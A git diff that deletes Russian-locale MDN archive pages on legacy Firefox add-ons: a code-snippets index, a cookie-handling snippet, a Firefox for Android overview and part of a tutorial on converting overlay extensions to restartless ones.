-<p>Дополнения с использованием методов, описанных в этом документе, считаются устаревшей технологией в Firefox. Не используйте эти методы для разработки новых дополнений. Используйте вместо этого <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">WebExtensions</a>. Если вы поддерживаете надстройку, которая использует описанные здесь методы, рассмотрите возможность переноса ее на использование WebExtensions.</p>
-
-<p><strong>Начиная с <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 53</a>, никакие новые устаревшие дополнения не будут приниматься addons.mozilla.org (AMO) для Firefox на ПК и Firefox для Android.</strong></p>
-
-<p><strong>Начиная с <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 57</a>, только дополнения разработанные на основе WebExtensions API будут поддерживаться для Firefox на ПК и Firefox для Android. </strong></p>
-
-<p> Даже до Firefox 57 изменения, появляющиеся на платформе Firefox, нарушат многие устаревшие расширения. Эти изменения включают многопроцессорные Firefox (e10s), песочницу и несколько процессов контента. Устаревшие расширения, на которые влияют эти изменения, должны мигрировать, чтобы использовать API WebExtensions, если они могут. Дополнительную информацию см. в <a href="https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/">документе "Признаки совместимости"</a>.</p>
-
-<p>Страница wiki, содержащая <a href="https://wiki.mozilla.org/Add-ons/developer/communication">ресурсы, пути миграции, рабочие часы и т.д.</a>, доступна, чтобы помочь разработчикам перейти на новые технологии.</p>
-</div>
-
-<p> </p>
-
-<p>This is a quick list of useful code snippets (small code samples) available for developers of extensions for the various Mozilla applications. Many of these samples can also be used in XULRunner applications, as well as in actual Mozilla code itself.</p>
-
-<p>These examples demonstrate how to accomplish basic tasks that might not be immediately obvious.</p>
-
-<h2 id="General" name="General">General</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Code_snippets/From_articles" title="/en-US/docs/Code_snippets/From_articles">Examples and demos from MDN articles</a></dt>
- <dd>A collection of examples and demos from articles.</dd>
- <dt><a href="/en-US/docs/Code_snippets/Windows" title="/en-US/docs/Code_snippets/Windows">Window code</a></dt>
- <dd>Opening and manipulating windows</dd>
- <dt><a href="/en-US/docs/Code_snippets/Toolbar" title="/en-US/docs/Code_snippets/Toolbar">Toolbar</a></dt>
- <dd>Toolbar related code</dd>
- <dt><a href="/en-US/docs/Code_snippets/Sidebar" title="/en-US/docs/Code_snippets/Sidebar">Sidebar</a></dt>
- <dd>Sidebar related code</dd>
- <dt><a href="/en-US/docs/Code_snippets/Forms">Forms</a></dt>
- <dd>Forms related code</dd>
- <dt><a href="/en-US/docs/Code_snippets/XML" title="/en-US/docs/Code_snippets/XML">XML</a></dt>
- <dd>Code used to parse, write, manipulate, etc. XML</dd>
- <dt><a href="/en-US/docs/Code_snippets/File_I_O" title="/en-US/docs/Code_snippets/File_I/O">File I/O</a></dt>
- <dd>Code used to read, write and process files</dd>
- <dt><a href="/en-US/docs/Code_snippets/Drag_&amp;_Drop" title="/en-US/docs/Code_snippets/Drag_&amp;_Drop">Drag &amp; Drop</a></dt>
- <dd>Code used to setup and handle drag and drop events</dd>
- <dt><a href="/en-US/docs/Code_snippets/Dialogs_and_Prompts" title="/en-US/docs/Code_snippets/Dialogs_and_Prompts">Dialogs</a></dt>
- <dd>Code used to display and process dialog boxes</dd>
- <dt><a href="/en-US/docs/Code_snippets/Alerts_and_Notifications" title="/en-US/docs/Code snippets/Alerts and Notifications">Alerts and Notifications </a></dt>
- <dd>Modal and non-modal ways to notify users</dd>
- <dt><a href="/en-US/docs/Code_snippets/Preferences" title="/en-US/docs/Code_snippets/Preferences">Preferences</a></dt>
- <dd>Code used to read, write, and modify preferences</dd>
- <dt><a href="/en-US/docs/Code_snippets/JS_XPCOM" title="/en-US/docs/Code_snippets/JS_XPCOM">JS XPCOM</a></dt>
- <dd>Code used to define and call XPCOM components in JavaScript</dd>
- <dt><a href="/en-US/docs/Code_snippets/Running_applications" title="/en-US/docs/Code_snippets/Running_applications">Running applications</a></dt>
- <dd>Code used to run other applications</dd>
- <dt><a href="/en-US/docs/Code_snippets/Canvas" title="/en-US/docs/Code_snippets/Canvas"><code>&lt;canvas&gt;</code> related</a></dt>
- <dd><a href="/en-US/docs/HTML/Canvas" title="/en-US/docs/HTML/Canvas">WHAT WG Canvas</a>-related code</dd>
- <dt><a href="/en-US/docs/Signing_a_XPI" title="/en-US/docs/Signing_a_XPI">Signing a XPI</a></dt>
- <dd>How to sign an XPI with PKI</dd>
- <dt><a href="/en-US/docs/Code_snippets/Threads">Delayed Execution</a></dt>
- <dd>Performing background operations.</dd>
- <dt><a href="/en-US/docs/Code_snippets/Miscellaneous" title="/en-US/docs/Code_snippets/Miscellaneous">Miscellaneous</a></dt>
- <dd>Miscellaneous useful code fragments</dd>
- <dt><a href="/en-US/docs/Code_snippets/HTML_to_DOM" title="/en-US/docs/Code_snippets/HTML_to_DOM">HTML to DOM</a></dt>
- <dd>Using a hidden browser element to parse HTML to a window's DOM</dd>
-</dl>
-
-<h2 id="javascript-libraries" name="javascript-libraries">JavaScript libraries</h2>
-
-<p>Here are some JavaScript libraries that may come in handy.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Code_snippets/StringView" title="/en-US/docs/Code_snippets/StringView">StringView</a></dt>
- <dd>A library that implements a <code>StringView</code> view for <a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a>. This lets you access data in typed arrays using C-like string functions.</dd>
- <dt><a href="/en-US/Add-ons/Code_snippets/Rosetta" title="/en-US/docs/Code_snippets/Rosetta">Rosetta</a></dt>
- <dd>By default, the only possible standardized scripting language for HTML is <strong>ECMAScript</strong>. Hence, if you are going to use another scripting language you might expect that most of the browsers will not recognize it. Nevertheless, the increasing computational power of modern browsers together with the introduction of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a> in ECMAScript allow us, in theory, to build full <a class="external external-icon" href="http://en.wikipedia.org/wiki/Virtual_machine">virtual machines</a> in pure ECMAScript. Therefore, it is also possible, in theory, to use ECMAScript for a smaller task: parsing exotic programming languages (i.e., creating compilers). This snippets shows a possible way to start from.</dd>
-</dl>
-
-<h2 id="Browser-oriented_code" name="Browser-oriented_code">Browser-oriented code</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Code_snippets/Tabbed_browser" title="/en-US/docs/Code_snippets/Tabbed_browser">Tabbed browser code</a> (Firefox/SeaMonkey)</dt>
- <dd>Basic operations, such as page loading, with the tabbed browser, which is the heart of Mozilla's browser applications</dd>
- <dt><a href="/en-US/docs/Code_snippets/Cookies" title="/en-US/docs/Code_snippets/Cookies">Cookies</a></dt>
- <dd>Reading, writing, modifying, and removing cookies</dd>
- <dt><a href="/en-US/docs/Code_snippets/Page_Loading" title="/en-US/docs/Code_snippets/Page_Loading">Page Loading</a></dt>
- <dd>Code used to load pages, reload pages, and listen for page loads</dd>
- <dt><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged code</a></dt>
- <dd>How to communicate from extensions to websites and vice-versa.</dd>
- <dt><a href="/en-US/docs/Code_snippets/Downloading_Files" title="/en-US/docs/Code_snippets/Downloading_Files">Downloading Files</a></dt>
- <dd>Code to download files, images, and to monitor download progress</dd>
- <dt><a href="/en-US/docs/Code_snippets/Password_Manager" title="/en-US/docs/Code_snippets/Password_Manager">Password Manager</a></dt>
- <dd>Code used to read and write passwords to/from the integrated password manager</dd>
- <dt><a href="/en-US/docs/Code_snippets/Bookmarks" title="/en-US/docs/Code_snippets/Bookmarks">Bookmarks</a></dt>
- <dd>Code used to read and write bookmarks</dd>
- <dt><a href="/en-US/docs/Code_snippets/JavaScript_Debugger_Service" title="/en-US/docs/Code_snippets/JavaScript_Debugger_Service">JavaScript Debugger Service</a></dt>
- <dd>Code used to interact with the JavaScript Debugger Service</dd>
-</dl>
-
-<h2 id="SVG" name="SVG">SVG</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Code_snippets/SVG_General" title="/en-US/docs/Code_snippets/SVG_General">General</a></dt>
- <dd>General information and utilities</dd>
- <dt><a href="/en-US/docs/Code_snippets/SVG_Animation" title="/en-US/docs/Code_snippets/SVG_Animation">SVG Animation</a></dt>
- <dd>Animate SVG using JavaScript and SMIL</dd>
- <dt><a href="/en-US/docs/Code_snippets/SVG_Interacting_with_script" title="/en-US/docs/Code_snippets/SVG_Interacting_with_script">SVG Interacting with Script</a></dt>
- <dd>Using JavaScript and DOM events to create interactive SVG</dd>
- <dt><a href="/en-US/docs/Code_snippets/Embedding_SVG" title="/en-US/docs/Code_snippets/Embedding_SVG">Embedding SVG in HTML and XUL</a></dt>
- <dd>Using SVG to enhance HTML or XUL based markup</dd>
-</dl>
-
-<h2 id="XUL_Widgets" name="XUL_Widgets">XUL Widgets</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Code_snippets/HTML_in_XUL_for_rich_tooltips" title="/en-US/docs/Code_snippets/HTML_in_XUL_for_rich_tooltips">HTML in XUL for Rich Tooltips</a></dt>
- <dd>Dynamically embed HTML into a XUL element to attain markup in a tooltip</dd>
- <dt><a href="/en-US/docs/Code_snippets/Label_and_description" title="/en-US/docs/Code_snippets/Label_and_description">Label and description</a></dt>
- <dd>Special uses and line breaking examples</dd>
- <dt><a href="/en-US/docs/Code_snippets/Tree" title="/en-US/docs/Code_snippets/Tree">Tree</a></dt>
- <dd>Setup and manipulation of trees using XUL and JS</dd>
- <dt><a href="/en-US/docs/Code_snippets/Scrollbar" title="/en-US/docs/Code_snippets/Scrollbar">Scrollbar</a></dt>
- <dd>Changing style of scrollbars. Applies to scrollbars in browser and iframe as well.</dd>
- <dt><a href="/en-US/docs/Code_snippets/Autocomplete" title="/en-US/docs/Code_snippets/Autocomplete">Autocomplete</a></dt>
- <dd>Code used to enable form autocomplete in a browser</dd>
- <dt><a href="/en-US/docs/Code_snippets/Boxes" title="/en-US/docs/Code_snippets/Boxes">Boxes</a></dt>
- <dd>Tips and tricks when using boxes as containers</dd>
- <dt><a class="internal" href="/en-US/docs/Code_snippets/Tabbox" title="/en-US/docs/Code snippets/Tabbox">Tabbox</a></dt>
- <dd>Removing and manipulating tabs in a tabbox</dd>
-</dl>
-
-<h2 id="Windows-specific" name="Windows-specific">Windows-specific</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Code_snippets/Finding_Window_Handles" title="/en-US/docs/Code_snippets/Finding_Window_Handles">Finding Window Handles (HWND)</a> (Firefox)</dt>
- <dd>How to use Windows API calls to find various kinds of Mozilla window handles. Window handles can be used for IPC and Accessibility purposes.</dd>
- <dt><a href="/en-US/docs/Accessing_the_Windows_Registry_Using_XPCOM" title="/en-US/docs/Accessing_the_Windows_Registry_Using_XPCOM">Using the Windows Registry with XPCOM</a></dt>
- <dd>How to read, write, modify, delete, enumerate, and watch registry keys and values.</dd>
-</dl>
-
-<h2 id="External_links" name="External_links">External links</h2>
-
-<p>The content at <a class="external" href="http://kb.mozillazine.org/Category:Example_code">MozillaZine Example Code</a> is slowly being moved here, but you can still find useful examples there for now.</p>
diff --git a/files/ru/mozilla/add-ons/code_snippets/куки/index.html b/files/ru/mozilla/add-ons/code_snippets/куки/index.html
deleted file mode 100644
index 7a77657bdb..0000000000
--- a/files/ru/mozilla/add-ons/code_snippets/куки/index.html
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Cookies
-slug: Mozilla/Add-ons/Code_snippets/куки
-translation_of: Archive/Add-ons/Code_snippets/Cookies
----
-<h3 id="Reading_existing_cookies" name="Reading_existing_cookies">Чтение существующих cookie</h3>
-
-<p>Cookie для данного хоста, как объекты <code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/Code_snippets/%D0%BA%D1%83%D0%BA%D0%B8" title="">nsICookie2</a></code>, могут быть пронумерированны так:</p>
-
-<pre class="brush: js">let enum = Services.cookies.getCookiesFromHost("example.com");
-while (enum.hasMoreElements()) {
- var cookie = e.getNext().QueryInterface(Ci.nsICookie2);
- dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n");
-}
-</pre>
-
-<p>Все cookie, вне зависимости от хоста, могут быть пронумерированны с помощью <code>Services.cookies.enumerator</code>, а не <code>getCookiesFromHost()</code>.</p>
-
-<h3 id="Setting_a_cookie" name="Setting_a_cookie">Настраивание cookie</h3>
-
-<p>Следующий код показывает как настроить cookie в Firefox.</p>
-
-<pre class="brush: js">Services.cookies.add(".host.example.com", "/cookie-path", "cookie_name", "cookie_value", is_secure, is_http_only, is_session, expiry_date);
-</pre>
-
-<h3 id="See_also" name="See_also">Смотрите также</h3>
-
-<ul>
- <li>{{ Domxref("document.cookie") }}</li>
- <li>{{ Interface("nsICookie") }}</li>
- <li>{{ Interface("nsICookie2") }}</li>
- <li>{{ Interface("nsICookieService") }}</li>
- <li>{{ Interface("nsICookieManager") }}</li>
- <li>{{ Interface("nsICookieManager2") }}</li>
- <li><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li>
-</ul>
diff --git a/files/ru/mozilla/add-ons/firefox_for_android/index.html b/files/ru/mozilla/add-ons/firefox_for_android/index.html
deleted file mode 100644
index a636438acb..0000000000
--- a/files/ru/mozilla/add-ons/firefox_for_android/index.html
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Устаревшие расширения для Firefox для Android
-slug: Mozilla/Add-ons/Firefox_for_Android
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Legacy_Firefox_for_Android
----
-<p>Firefox для Android поддерживает надстройки, используя ту же <a href="/ru/Add-ons" title="ru/Extensions">систему расширения</a>, что и все другие приложения на базе Gecko. Вы можете использовать <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/tutorials/mobile.html">SDK Add-on</a> или создать <a href="/en-US/Add-ons/Bootstrapped_extensions">вручную bootstrap-дополнения</a>. Вы даже можете создавать традиционные перезагружаемые дополнения, хотя предпочтительны и другие два подхода.</p>
-
-<p>Дополнения, которые работают с настольным Firefox, <strong>не</strong> работают автоматически в Firefox для Android:</p>
-
-<ul>
- <li>В пользовательском интерфейсе нет видимого XUL, поэтому вы не можете использовать наложение для создания пользовательского интерфейса.</li>
- <li>Внутренний код и объекты, такие как <code>gBrowser</code>, не существуют. Посмотрите на Firefox в файле <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js" title="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js"><code>browser.js </code></a>Android, чтобы узнать о внутренних компонентах. Значительная часть той же фундаментальной функциональности существует.</li>
- <li>Службы, такие как <code>nsIPromptService</code> и <code>nsIAlertsService</code>, реализованы для использования собственного пользовательского интерфейса Android.</li>
- <li>Существует простой объект JavaScript, называемый <a href="https://developer.mozilla.org/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/NativeWindow"><code>NativeWindow</code></a>, который позволяет вам манипулировать частями пользовательского интерфейса Android.</li>
-</ul>
-
-<p>Следующие статьи предоставляют помощь в разработке расширений для Firefox на Android. Кроме того, обратитесь к <a class="internal" href="/en-US/Add-ons" title="En/Extensions">общей документации по расширениям</a>, которая применяется ко всем приложениям Mozilla</p>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Учебники">Учебники</h3>
-
-<dl>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/Walkthrough">Прохождение</a></dt>
- <dd>Разработка, упаковка и установка простого дополнения для Firefox для Android.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/Firefox_Hub_Walkthrough">Прохождение Firefox Hub</a></dt>
- <dd>Как разработать Firefox Hub add-on и добавить его в Firefox для Android (главная страница).</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">Add-on SDK</a></dt>
- <dd>Как разрабатывать дополнения Firefox для Android с помощью Add-on SDK.</dd>
-</dl>
-
-<h3 id="Образец_кода">Образец кода</h3>
-
-<dl>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/Code_snippets">Фрагменты кода</a></dt>
- <dd>Образцы кода для общих задач.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/Initialization_and_Cleanup">Инициализация и очистка</a></dt>
- <dd>Как инициализировать ваше дополнение при его запуске и очистке при его закрытии.</dd>
- <dt><a href="https://github.com/mozilla/firefox-for-android-addons">Firefox для Android Add-ons в репозитории Github</a></dt>
- <dd>Коллекция модулей JS, кода примера и плагинов-репозиториев, которые помогут вам создавать надстройки для Firefox для Android.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<h3 id="Справка_по_API">Справка по API</h3>
-
-<dl>
- <dt><a class="internal" href="/en-US/Add-ons/Firefox_for_Android/API/NativeWindow"><code>NativeWindow</code></a></dt>
- <dd>Создайте собственные виджеты пользовательского интерфейса Android.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/API/BrowserApp"><code>BrowserApp</code></a></dt>
- <dd>Доступ к вкладкам браузера и веб-содержимому, которое они размещают.</dd>
- <dt><a class="internal" href="/en-US/Add-ons/Firefox_for_Android/API/Prompt.jsm"><code>Prompt.jsm</code></a></dt>
- <dd>Вывод встроенного диалогового окна Android.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/API/HelperApps.jsm"><code>HelperApps.jsm</code></a></dt>
- <dd>Запросить и запустить собственные приложения, установленные в системе.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/API/Notifications.jsm"><code>Notifications.jsm</code></a></dt>
- <dd>Использование внешних свойств уведомлений системы Android.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/API/Home.jsm"><code>Home.jsm</code></a></dt>
- <dd>Настройка домашней страницы.</dd>
- <dt><a href="/en-US/Add-ons/Firefox_for_Android/API/HomeProvider.jsm"><code>HomeProvider.jsm</code></a></dt>
- <dd>Сохранять данные для отображения на главной странице.</dd>
- <dt> </dt>
-</dl>
-</div>
-</div>
-
-<p><code> </code></p>
-
-<div>
-<div id="tap-translate"> </div>
-</div>
-
-<div>
-<div id="tap-translate"> </div>
-</div>
-
-<div>
-<div id="tap-translate"> </div>
-</div>
diff --git a/files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html b/files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html
deleted file mode 100644
index ae42b11ad1..0000000000
--- a/files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html
+++ /dev/null
@@ -1,395 +0,0 @@
----
-title: How to convert an overlay extension to restartless
-slug: Mozilla/Add-ons/How_to_convert_an_overlay_extension_to_restartless
-translation_of: Archive/Add-ons/How_to_convert_an_overlay_extension_to_restartless
----
-<div class="note">
-<p>This article is a step-by-step tutorial on how to convert an old <a href="https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions">overlay-based extension</a> into a <a href="https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions">restartless (bootstrapped) extension</a> that is also extractionless.</p>
-</div>
-
-<h2 id="Requirements">Requirements</h2>
-
-<p>First off, what kind of <a href="https://developer.mozilla.org/en-US/Add-ons">add-on</a> are we talking about here? Well, <a href="https://developer.mozilla.org/en-US/docs/XUL_Overlays">XUL overlays</a> and windows, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules">JSM files</a>, <a href="https://developer.mozilla.org/en-US/docs/Chrome_Registration">chrome &amp; resource mappings</a> with localization, default preferences, but <strong>no XPCOM components of your own</strong>. Some of that will have to be replaced and the rest will need to be loaded differently.</p>
-
-<p>Next, what's the minimum version of Firefox we should require (preferably an <a href="https://www.mozilla.org/firefox/organizations/">ESR</a>)? This guide targets <strong>Firefox 17 ESR or later</strong> (or anything else Gecko 17+, such as SeaMonkey 2.14+). This is<em>two</em> ESRs back (as of this writing), which should be plenty. Using the current Firefox ESR, stable version, or Nightly is generally a better idea if given the option, but some users take forever to upgrade.</p>
-
-<p>There will be no usage of the <a href="/en-US/Add-ons/SDK">Add-on SDK</a> or any other external libraries here. Everything will use APIs available in Firefox 17+ or code provided here.</p>
-
-<h2 id="Step_1_Use_Services.jsm">Step 1: Use Services.jsm</h2>
-
-<p>If you load one of Mozilla's internal <a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules">JSM files</a>, for example <a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules/Services.jsm">Services.jsm</a>, you'll do so via privileged JavaScript code like this:</p>
-
-<pre class="brush: js">Components.utils.import("resource://gre/modules/Services.jsm");</pre>
-
-<p>From here on out, it is assumed you've imported Services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples. The examples will also assume that you know how to properly add instructions to your add-on's <a href="https://developer.mozilla.org/en-US/docs/Chrome_Registration">chrome.manifest</a> to add and remove resource, chrome, locale, &amp; etc. mappings, so that you can access your files with custom paths such as:</p>
-
-<pre>resource://myAddon/filename.ext
-chrome://myAddon/content/filename.ext</pre>
-
-<h2 id="Step_2_No_more_resource_URIs_for_files_internal_to_your_bundle">Step 2: No more resource:// URIs for files internal to your <a href="/en-US/docs/Bundles">bundle</a></h2>
-
-<p>Unfortunately, resource mappings in your chrome.manifest are <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=675372">still not usable</a> in restartless add-ons, which looks bad, but only because Mozilla is still using resource:// URIs internally and in examples. Resource mappings for files in the mozilla distribution, such as Services.jsm (above), will continue to work. In overlay extensions, you can place a resource mapping in the chrome.manifest for your add-on and load your own JSM from resource:// URIs. It's a great way to modularize your code that's been available since Firefox 3. You can use chrome:// URIs with "<a href="https://developer.mozilla.org/en-US/docs/Components.utils.import">Components.utils.import()</a>" just fine; in fact you've been able to since Firefox 4. However, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load JSM from resource:// URIs and just stuck with that forever. It does still work if you don't have restartlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. The resource:// protocol actually <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=903959">bleeds into content</a> which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data).</p>
-
-<h3 id="Step_2a_Load_your_JSM_from_chrome">Step 2a: Load your JSM from chrome://</h3>
-
-<p>Now with that preface out of the way, this part is easy: drop support for Firefox 3.x if you haven't already, move your JSM files to wherever you've got your <a href="https://developer.mozilla.org/en-US/docs/Chrome_Registration#content">chrome mapping</a> to for your XUL overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file. It's probably a good idea to do this even if you aren't going fully restartless / extractionless due to the previously mentioned exposure to content of resource mappings.</p>
-
-<p>Also, drop support for Firefox 4 through 9 while you're at it. Prior to Firefox 10, the chrome.manifest file you rely on wasn't loaded automatically for restartless add-ons. Hacks were required, and probably a bad idea.</p>
-
-<h3 id="Step_2b_Audit_any_remaining_resource_URI_usage_internal_to_your_extension">Step 2b: Audit any remaining resource:// URI usage internal to your extension</h3>
-
-<p>If you don't need resource:// URIs for anything else, then you may be able to skip the next step. If not, see if you still can't do things any other way. As with JSMs, a chrome:// URI may be more appropriate. If you want to also make your add-on extractionless then you may need "step 3" if you're loading files with nsIFileInputStream or something similar, or a jar: URI might work. If not, a file:// URI might be fine for you. Restartless add-ons can easily get a <a href="https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions#Bootstrap_data">URI for their install location</a> on startup, so you should look into what you can do with that.</p>
-
-<h2 id="Step_3_No_more_nsIFile_access_for_files_internal_to_your_bundle">Step 3: No more <a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile">nsIFile</a> access for files internal to your bundle</h2>
-
-<p>For an extractionless extension, access to files internal to your bundle will not be possible using the nsIFile interface.</p>
-
-<p>If you need to read data, or otherwise access files within your bundle, there are two options. The first is to use the <a href="/en-US/docs/XPCOM_Interface_Reference/nsIZipReader">nsIZipReader</a> interface which permits continuing to use <a href="/en-US/docs/XPCOM_Interface_Reference/nsIInputStream">nsIInputStream</a>s, etc. The second is to re-code to use <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</p>
-
-<p>A file:// URI to the install location, or .xpi file, is available in <code>installPath</code> property of the <a href="https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions#Bootstrap_data">bootstrap data structure</a> passed to the <code>startup()</code>, <code>shutdown()</code>, <code>install()</code>, and <code>uninstall()</code> functions in what will be your bootstrap.js file <em>(see below)</em>.</p>
-
-<p>How to get and load the data of of your add-on's files using the <a href="https://developer.mozilla.org/en-US/Add-ons/Add-on_Manager/AddonManager">Add-on Manager API</a>:</p>
-
-<pre class="brush: js">// This is the OLD way of getting one of your files
-const myAddonID = ...; // Just store a constant with your ID
-Components.utils.import("resource://gre/modules/AddonManager.jsm");
-AddonManager.getAddonByID(myAddonID,function(addon) {
- var file = Services.io.newURI("resource://myAddon/filename.ext",null,null)
- .QueryInterface(Components.interfaces.nsIFileURL)
- .file;
- var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
- .createInstance(Components.interfaces.nsIFileInputStream)
- .QueryInterface(Components.interfaces.nsISeekableStream);
- stream.init(file, 0x01, 0444, 0); // read-only, read by owner/group/others, normal behavior
- /* do stuff */
-});</pre>
-
-<p>This bit of code is paraphrased and probably not to be recommended as-is, but it should work. (note that the usage of an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Integers">octal integer literal</a>, while standard for handling permissions, is dangerous and deprecated; usage of use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode#Converting_mistakes_into_errors">ES5 strict mode</a> to disable this and other foot-guns is recommended) If you need to read/manipulate binary data, a <a href="/en-US/docs/XPCOM_Interface_Reference/nsIBinaryInputStream">nsIBinaryInputStream</a> instance is what you'll use on that stream (e.g. 32-bit integers, or fun stuff like <a href="https://flagfox.wordpress.com/2011/02/12/apparently-javascript-cant-do-64-bit-math/">48-bit integers</a>). Not ideal, but it works and performs more than sufficiently well. All of that code above is no longer viable if you also go extractionless (which you should).</p>
-
-<h3 id="Step_3a_Option_1_Use_nsIZipReader">Step 3a: Option 1: Use <a href="/en-US/docs/XPCOM_Interface_Reference/nsIZipReader">nsIZipReader</a></h3>
-
-<pre class="brush: js">let zipReader = Components.classes["@mozilla.org/libjar/zip-reader;1"]
- .createInstance(Components.interfaces.nsIZipReader);
-zipReader.open(addonData.installPath);
-...
-</pre>
-
-<p>From there you can open <a href="/en-US/docs/XPCOM_Interface_Reference/nsIInputStream">nsIInputStream</a>s, extract files, or perform some other functions. Worst case would be that you extract a file to a temporary location and then use nsIFile operations upon the extracted file.</p>
-
-<h3 id="Step_3b_Option_2_Use_XMLHttpRequest">Step 3b: Option 2: Use <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></h3>
-
-<p>Now, how do we replace that? The answer to that question is to <strong>load your file from a chrome:// URI using XMLHttpRequest</strong>. You may now have another question: wait, what does this have to do with <a href="/en-US/docs/XML">XML</a> or <a href="/en-US/docs/Web/HTTP">HTTP</a>? The answer to that question is, of course, <em>nothing</em>. <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> is an API created by Microsoft, adopted by Mozilla and other vendors, and hacked into a Swiss Army knife of file loading. You can use it in a web page to fetch a file from your server and you can use it in your add-on to fetch a local file from your installation. The name is a vestigial structure that just makes things confusing. It is nonetheless the "Correct" and best way to do things. It's available in the global for a window, but in JSM you'll need to fetch it from an interface:</p>
-
-<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1",
- "nsIXMLHttpRequest");</pre>
-
-<p>Here's how to load a file using it:</p>
-
-<pre class="brush: js">function loadFile(url,type,returnresult)
-{
- var request = new XMLHttpRequest();
- request.open("GET", url, true); // async=true
- request.responseType = type;
- request.onerror = function(event) {
- logErrorMessage("Error attempting to load: " + url);
- returnresult(null);
- };
- request.onload = function(event) {
- if (request.response)
- returnresult(request.response);
- else
- request.onerror(event);
- };
- request.send();
-}
-loadFile("chrome://myAddon/content/filename.ext",dataType,function(data) {
- /* do stuff with data */
-});</pre>
-
-<p>Note: When using XMLHttpRequest to access a file:// URL the <code>request.status</code> is not properly set to <code>200</code> to indicate success. In such cases, <code>request.readyState == 4</code>, <code>request.status == 0</code> and <code>request.response</code> will evaluate to true.</p>
-
-<p>If your file is text, use "text" as your data type. If you're getting <a href="https://developer.mozilla.org/en-US/docs/JSON">JSON</a> this way make sure to explicitly set the type as "text" if you intend to parse it yourself. Even though it says that the default type is "text", Firefox will attempt to autodetect and fail, resulting in an error message in the console. This doesn't seem to break anything, but it is easily avoidable by being explicit with the type. <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest#Properties">MDN says</a> you can set the type to "json" instead, if you prefer to have it parse things for you.</p>
-
